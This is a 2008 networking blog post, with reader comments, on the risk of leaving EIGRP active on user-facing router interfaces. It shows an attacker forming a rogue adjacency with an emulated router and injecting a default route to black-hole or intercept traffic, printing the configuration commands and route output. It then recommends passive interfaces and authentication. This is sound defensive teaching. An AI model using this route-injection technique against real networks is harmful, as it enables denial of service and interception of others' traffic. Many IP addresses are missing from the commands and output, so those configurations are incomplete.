The dangers of nonpassive router interfaces

By stretch | Tuesday, October 7, 2008 at 12:25 a.m. UTC

By default, any network interface advertised by an IGP is considered active for that protocol. This means that the router will send information out that interface in an attempt to advertise routes or form adjacencies with neighboring routers. While this provides a bit of convenience to the administrator, it also presents a gaping security hole if neighbor adjacencies are not securely authenticated.

The Vulnerability

Consider a simple network of three routers running EIGRP. R1 advertises a default route to routers 2 and 3, each of which attaches a user subnet.


All three routers have a minimal EIGRP configuration:

R2# show run | section eigrp
router eigrp 100
 no auto-summary

Note that network encompasses all three interfaces on both R2 and R3. This means the user-facing interfaces (on which we should never see another router) are active in the EIGRP process along with the two neighbor-facing interfaces:

R2# show ip eigrp interfaces 
IP-EIGRP interfaces for process 100
                    Xmit Queue   Mean   Pacing Time   Multicast    Pending
Interface        Peers  Un/Reliable  SRTT   Un/Reliable   Flow Timer   Routes
Fa0/0              1        0/0        34       0/2          104           0
Fa0/1              1        0/0        35       0/2          156           0
Fa1/0              0        0/0         0       0/1            0           0

While this might seem inconsequential on the surface, remember that this means EIGRP hello packets are being multicast out Fa1/0 to the user subnet, and the router is listening for hellos from potential adjacent routers. As it stands right now, this network is completely vulnerable to an attacker in either user subnet wanting to manipulate its routing architecture.

The Attack

The first step such an attacker would take is to sniff traffic on the local subnet. The hellos sent by R2 provide all the information (AS number and K values) necessary to form an EIGRP adjacency.


As I've discussed previously, Dynamips is an ideal tool for emulating routers for network penetration purposes. Using the information gleaned from the EIGRP packet capture, an attacker can bind an emulated IOS router to the physical interface of his device and configure it to form an adjacency with R2. R2 will view the attacker as a legitimate peer router.


The attacker's virtual router is configured similar to the "real" routers (it is assumed that F0/0 of the virtual router is bound to the physical interface of the host device):

interface FastEthernet0/0
 ip address
router eigrp 100
 no auto-summary

R2 and the attacker's router form an adjacency shortly after the physical connection is completed:

%DUAL-5-NBRCHANGE: IP-EIGRP(0) 100: Neighbor (FastEthernet1/0) is up:
new adjacency

We can verify that the attacker's router has received the entire EIGRP topology from R2:

Attacker# show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
   D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
   N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
   E1 - OSPF external type 1, E2 - OSPF external type 2
   i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
   ia - IS-IS inter area, * - candidate default, U - per-user static route
   o - ODR, P - periodic downloaded static route

Gateway of last resort is to network is variably subnetted, 5 subnets, 2 masks
D [90/76800] via, 00:00:25, FastEthernet0/0
D [90/102400] via, 00:00:25, FastEthernet0/0
D [90/79360] via, 00:00:25, FastEthernet0/0
C is directly connected, FastEthernet0/0
D [90/76800] via, 00:00:25, FastEthernet0/0
D*EX [170/332800] via, 00:00:25, FastEthernet0/0

As IGPs have no concept of privilege separation, the attacker is now free to manipulate the network's routing table at will. For example, he could create a denial of service attack by injecting a default route pointing to himself with a better metric than the route advertised by R1, effectively black-holing all traffic bound for the Internet.

Attacker(config)# ip route null0
Attacker(config)# router eigrp 100
Attacker(config-router)# redistribute static metric 10000000 1 255 1 1500

Routers 1 and 2 see the injected route as having a more favorable metric, and will now forward all traffic with no more-specific match in the routing table to the attacker.

R2# show ip route
Routing entry for, supernet
  Known via "eigrp 100", distance 170, metric 28416, candidate default path,
type external
  Redistributing via eigrp 100
  Last update from on FastEthernet1/0, 00:02:17 ago
  Routing Descriptor Blocks:
  *, from, 00:02:17 ago, via FastEthernet1/0
  Route metric is 28416, traffic share count is 1
  Total delay is 110 microseconds, minimum bandwidth is 100000 Kbit
  Reliability 255/255, minimum MTU 1500 bytes
  Loading 1/255, Hops 1

This concept could easily be expanded to accomplish a man-in-the-middle (MITM) attack against the network, using a second line to forward the traffic on to its final destination.

The Fix

The easiest and most effective solution is simply to designate any interfaces on which a neighbor shouldn't appear as passive interfaces.

R2(config)# router eigrp 100
R2(config-router)# passive-interface f1/0

A passive interface won't transmit any hello packets, and thus cannot form an adjacency. Although best practice dictates that access subnets shouldn't be used for transport of routing information between peers, the scenario may arise with no alternative. In these cases it is critical that the routing exchanges be securely authenticated. An intruder may still be able to sniff the routing exchanges (depending on your layer 2 setup), but authentication will mitigate unauthorized adjacencies. For even better security, configure the routing to take place over an encrypted tunnel between the two neighbors.

About the Author

Jeremy Stretch is a network engineer living in the Raleigh-Durham, North Carolina area. He is known for his blog and cheat sheets here at Packet Life. You can reach him by email or follow him on Twitter.

Posted in Security


Paul Stewart (guest)
October 7, 2008 at 12:49 a.m. UTC

This is a great point that is overlooked on many networks.

Dan (guest)
October 7, 2008 at 6:47 a.m. UTC

We could use EIGRP authentication, or ?

And I think that we couldn't use the passive interface command if we had configured EIGRP like that :

R2# show run | section eigrp router eigrp 100 network network network no auto-summary

Lalufu (guest)
October 7, 2008 at 8:31 a.m. UTC

One of the first things to do when creating a new router process should be a 'passive-interface default', followed by explicitly mentioning which interfaces we want to operate on.

Garry Richardson (guest)
October 7, 2008 at 9:05 a.m. UTC

Quality document! Going to re-create this in my lab.

Thanks, Garry

October 7, 2008 at 10:12 a.m. UTC

@Dan: Sure you could. That's why the command is there; to allow the network to be advertised in EIGRP but to prevent EIGRP hellos form being sent out that interface.

Dan (guest)
October 7, 2008 at 1:00 p.m. UTC

Yeah I got it now.

If I have configured EIGRP like i wrote above, the others routers would find out about the through FA0/0 on R2, am I right? The FA0/1 is not necessary for routing?

tcristi (guest)
October 7, 2008 at 1:26 p.m. UTC

isn't this a 'best practice' : put passive interface for each interface that does not participate in routes exchange ? or use authentication :)


Kevin (guest)
October 7, 2008 at 1:43 p.m. UTC

Another good process is shutting down unused ports so that an attacker can not just plug into the network ;)

Colin (guest)
October 7, 2008 at 4:17 p.m. UTC

Nice setup. Using network statements that define specific interfaces using the wildcard is another good way to limit hellos

Chris (guest)
October 7, 2008 at 4:32 p.m. UTC

great post as always! i'm in the middle of rebuilding my lab but i can't bind the gns3 lab to my physical NIC. Can someone describe how to do this? many thanks in advance

Dude (guest)
October 7, 2008 at 7:24 p.m. UTC

@Chris: try, an excellent site on dynamips, dynagen and all that stuff. Everything's there you need for this.

Chris (guest)
October 7, 2008 at 8:38 p.m. UTC

Thanks Dude, I've sorted it out and redirected the whole traffic through my virtual GNS3 lab after injecting another route. awesome!

steve (guest)
October 7, 2008 at 9:28 p.m. UTC

Great article Stretch, cheers.

Eric (guest)
October 9, 2008 at 3:35 p.m. UTC

What we do...

All of our EIGRP links are on their own vlans with their own IP schemes, then we passive-interface all the vlans that are not the EIGRP vlans or point to point vlans that go to other routers. works pretty good.

yb (guest)
October 14, 2008 at 1:22 a.m. UTC

Yo all, when stretch said something about encryption...did he mean encrypting the hello's or tunnelling all the information?

how do you achieve that in eigrp?

Hroi Sigurdsson (guest)
October 17, 2008 at 1:53 p.m. UTC

The more secure and convenient way is to specify which interfaces should participate in the formation of routing protocol adjacencies, instead of the other way around (especially if you have tens or hundreds of interfaces):

! router xyz 123 passive-interface default no passive-interface f0/0 no passive-interface f0/1

agredon (guest)
August 13, 2014 at 1:13 a.m. UTC
  1. Configure "passive-interface default" - Configure "no passive-interface" only on interfaces that are expected to form adjacencies.
  2. Enable EIGRP Authentication
  3. Set all unused ports to an separate VLAN ("switchport access vlan 99"), disable DTP ("switchport nonegotiate"), and shutdown the unused ports ("shutdown").
  4. Port Security -- When properly configured, would err-disable ("switchport port-security violation shutdown") the port if an unexpected MAC Address, such as the one on the Dynamips/GNS3 router was connected to a switchport.
Comments have closed for this article due to its age.